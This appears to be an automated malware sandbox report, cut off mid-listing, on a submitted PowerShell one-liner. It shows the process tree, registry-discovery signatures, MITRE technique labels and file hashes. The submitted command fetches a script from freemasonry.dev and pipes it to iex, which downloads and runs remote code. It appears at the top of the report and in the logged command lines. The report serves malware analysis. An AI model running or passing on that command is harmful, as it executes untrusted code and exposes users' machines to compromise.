hxxp://powershell "irm freemasonry[.]dev/dl/b2d6e7192365e4ccbd7ecffd29af2cc3|iex"

Analysis

user interaction
yes
max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/08/2026, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://powershell "irm freemasonry.dev/dl/b2d6e7192365e4ccbd7ecffd29af2cc3|iex"
Sample260824-d3ex1sseqd

Score

3^/10

discovery

Malware Config

Signatures

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4232	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134320159159707229"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{7570BAB7-6750-4828-AEEA-F94A2E1D3D8E}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2780	msedge.exe
2780	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 624	5052	msedge.exe	85
PID 5052 wrote to memory of 4232	5052	msedge.exe	86
PID 5052 wrote to memory of 1056	5052	msedge.exe	87
PID 5052 wrote to memory of 1056	5052	msedge.exe	87
PID 5052 wrote to memory of 1056	5052	msedge.exe	87
PID 5052 wrote to memory of 1396	5052	msedge.exe	88
PID 5052 wrote to memory of 1396	5052	msedge.exe	88
PID 5052 wrote to memory of 1188	5052	msedge.exe	89
PID 5052 wrote to memory of 2304	5052	msedge.exe	90
PID 5052 wrote to memory of 1188	5052	msedge.exe	89
PID 5052 wrote to memory of 1188	5052	msedge.exe	89
PID 5052 wrote to memory of 2304	5052	msedge.exe	90
PID 5052 wrote to memory of 2304	5052	msedge.exe	90
PID 5052 wrote to memory of 5092	5052	msedge.exe	92
PID 5052 wrote to memory of 5092	5052	msedge.exe	92
PID 5052 wrote to memory of 5092	5052	msedge.exe	92
PID 5052 wrote to memory of 740	5052	msedge.exe	93
PID 5052 wrote to memory of 740	5052	msedge.exe	93
PID 5052 wrote to memory of 740	5052	msedge.exe	93
PID 5052 wrote to memory of 2308	5052	msedge.exe	94
PID 5052 wrote to memory of 2308	5052	msedge.exe	94
PID 5052 wrote to memory of 2308	5052	msedge.exe	94
PID 5052 wrote to memory of 2716	5052	msedge.exe	98
PID 5052 wrote to memory of 2716	5052	msedge.exe	98
PID 5052 wrote to memory of 2716	5052	msedge.exe	98
PID 5052 wrote to memory of 1992	5052	msedge.exe	99
PID 5052 wrote to memory of 1992	5052	msedge.exe	99
PID 5052 wrote to memory of 4828	5052	msedge.exe	100
PID 5052 wrote to memory of 4828	5052	msedge.exe	100
PID 5052 wrote to memory of 4212	5052	msedge.exe	105
PID 5052 wrote to memory of 4540	5052	msedge.exe	110
PID 5052 wrote to memory of 4540	5052	msedge.exe	110
PID 5052 wrote to memory of 4540	5052	msedge.exe	110
PID 5052 wrote to memory of 4728	5052	msedge.exe	114
PID 5052 wrote to memory of 1708	5052	msedge.exe	115
PID 5052 wrote to memory of 1828	5052	msedge.exe	116
PID 5052 wrote to memory of 972	5052	msedge.exe	118
PID 5052 wrote to memory of 972	5052	msedge.exe	118
PID 5052 wrote to memory of 972	5052	msedge.exe	118
PID 5052 wrote to memory of 4148	5052	msedge.exe	119
PID 5052 wrote to memory of 4148	5052	msedge.exe	119
PID 5052 wrote to memory of 1720	5052	msedge.exe	120
PID 5052 wrote to memory of 1720	5052	msedge.exe	120
PID 5052 wrote to memory of 1720	5052	msedge.exe	120
PID 5052 wrote to memory of 2780	5052	msedge.exe	121

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://powershell "irm freemasonry.dev/dl/b2d6e7192365e4ccbd7ecffd29af2cc3|iex"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ff84b0dc188,0x7ff84b0dc194,0x7ff84b0dc1a0
  2⤵
  PID:624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1804,i,3469772087783998647,18127400120315152283,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,13737621870506332185,13781193027271881894,262144 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
  2⤵
  PID:1056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2604,i,6729620272538067106,17557667461852790557,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:8
  2⤵
  PID:1396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,5624167755202954646,16616569695409441972,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,3705771129851794712,1564177533398535301,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:2304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4196,i,4979302314596547519,18015152595846516382,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:1
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4236,i,3840598419249005250,7969115052751828694,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:2
  2⤵
  PID:740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5072,i,13286962519896969242,3871033794760041108,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=4980 /prefetch:1
  2⤵
  PID:2308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3540,i,2567149788350201311,928006638553817307,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:2716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,12920279888684463338,1541657158096356804,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:8
  2⤵
  PID:1992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,1732005201321944583,7222269250958788880,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:8
  2⤵
  PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,212614333752263088,4669898725326273649,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:8
  2⤵
  PID:4172
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,212614333752263088,4669898725326273649,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6240,i,16330999342413030165,624407175263148839,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:1
  2⤵
  PID:4540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4292,i,3296785128891811769,5725207759389816425,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:8
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4216,i,17738465199684733368,101041951451725374,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:8
  2⤵
  PID:1708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3432,i,17264978838905355459,16482737942345160123,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:8
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3076,i,4967805176101123915,8835267364062960755,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
  2⤵
  PID:972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,7470764578759172725,9094854444566292096,524288 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:8
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5968,i,8264209910976227872,12943774205635150536,2097152 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:1720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5404,i,3963074629776470229,8902321122443501128,262144 --field-trial-handle=2244,i,5269972832997667629,17633858452264738207,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2780

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 814d47aad78c212b52568b9c7b58d242899d490d3afebce66181cae50c880df5
MD5 8c7cdfea4284ba987d295d82a9c7ddd6
SHA1 7d1a3a66f2d64a383b230196ba89a263ce7ee957
SHA512 59c8229e834c944265aed4131c79f41f9f940a48651b9fb18800cef5bae36d17c7fd5880120c6fee8ce22a157b65bc63846b65765bc4dc86e15926dcce400d0d
SSDEEP 12:sf9iXhV0xoUZxCe+JKlkQuMRxCb8TXuYJ0IJpPK6BsyW1inPiz:U9iRqxoUZxWMk8xVTeYWI31BtXP
TLSH
T105724C85B34498FFC8835E7189BD27903774F6DF1F02866B6A6A760E2E271C84F44224
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 81240d13af4ca099e1358c75991e3fa5640dbb3aac72c2d98006f6159bf74aa0
MD5 96dd753cd2d8557b97ab2cd76f7fc6cf
SHA1 81697ccb13fb04a07bd47b552b3607597251f36d
SHA512 355c412a688a71b124e85c0527177b3f97efceb2a5553f8428e0913940daffd3bd176f5476b940c64eee52d543f0568112ac073984d9a64015adc15cbef552de
TLSH
T174D09224BA29A149E282007AA881EB565219DA95296B9622E620C44DBD2B925A3851C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4bf0783d55eb083b4adaa03ed8b76a2bd35b0819c8ad2530a78e1b8d6856010b
MD5 7a50c2e276f05b686e8cb6c95b86650f
SHA1 bc892af04a9d6b1bee8047f67518d676df864301
SHA512 f1d02fd9f067323214d78de08172e1a78028eba76f4754436f4d77b849e8422865dcea22be13f21c36ac2c5807b393c1dffdb0a3217c3353a517a0467461a474
TLSH
T19BD022203A28A008E282003AA880EB020208CA80282BC322E220C00CAC2B820A3800C2
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 4eeba2f4733d0cd8d8ced70e4e830361e8f5c3ef25840241948df2680e3d132a
MD5 c170c4c5aa093fd6d6448f6e009bb2bb
SHA1 c62a683d3f115e51dbcaef1f021e04e8830aecdc
SHA512 8ad20383003c203a6fac2ead8c0d8125693e3b0645f60aecf3ab1309412f2b66d8c43d78856f34c17c38baa35e0b30b2798e6ceeca63e27a67c17ba2bfce1d3d
TLSH
T18E6171340DDE66F5D761C4F298D10345347BC9E6F9335E4DF290DCBA2A867F1511812A
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 949B
SHA256 3cded777b1b49a5d164e0edb95c6fb0c736b29d4de51c149c591a276ee7f432d
MD5 981c853d6d262ab989b040eccee66c4a
SHA1 dd6840d7323d4b797e30e0a8a10fada81e669ac6
SHA512 2e910b97d4556e2c38e9b52ae790c4e4e2e84c3eff581c36087512f4f4702a24adb4c5f889c5f5cb954a6ed211d0db25283dc69ffa65958f6ba46ed3a4fa3531
TLSH
T1D11157F3C3E5D56E891116F09A24AE2BCE2D060642187C1989D8EF6B93E3479E00259B
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 81403b67826610a9c8a9a61ee196ae5f6eca7d0511daa80a69981dc8d211fa58
MD5 5cf360955b8bc5bc964c33d1929600e5
SHA1 d1cc78a83515b4ee8a80bdd9b430cb082f3aae06
SHA512 cc8d4fbcddf64a11ff02d3464b6ed3c21d2132d2c55b5d8ef50577d4caf7a2408b3b552a38a8c48452c9d765a5374e09df84e28886aa2b81d65c4ef606be91c8
SSDEEP 192:sxZARCkf/frsJdRYRhIdpPWHpv6+WNGYCk6roLIgrJ:sxZAHf/frsnRYRKuH2Gjo9
TLSH
T1EB22C8566E28A57B8CCBE21DFA55BF43D6F91032A1D51E58E6FC861C04E7ACD120B80F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 a9b191b11c89176af5cb60867692388682d3ed6e8189a33a7b589ecf2393a4f5
MD5 e280abdc5f0deecb517a501ef53f4441
SHA1 8f0b6c29e2cddc6a3f18f82345eaaa0b125b5d8e
SHA512 d067b961993705226054992953bf4dce50d389c54febc65f86ba02c559ac3a2b3cb8e5876d1c0abdf0f8e037cef863a82b25ab1f823778685b4e662fc66b4c8d
SSDEEP 192:sxZARCkf/frs9dRYqhIdpPWHpP6+WNGYCK0roLIg5wOJ:sxZAHf/frsrRYqKuHOGpor
TLSH
T15622D9556E28A97B8CCBE24DFB557F03E6F95032A1D51E58A6FC861C04E76CD120B40F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 64978559e676670134d136c1535cdde28542e586165d2354c847ac09a652fd99
MD5 d16ecd066729dcf77361e9a6067165ed
SHA1 38236fdd1ede032abb16c09ce71470dd183d445c
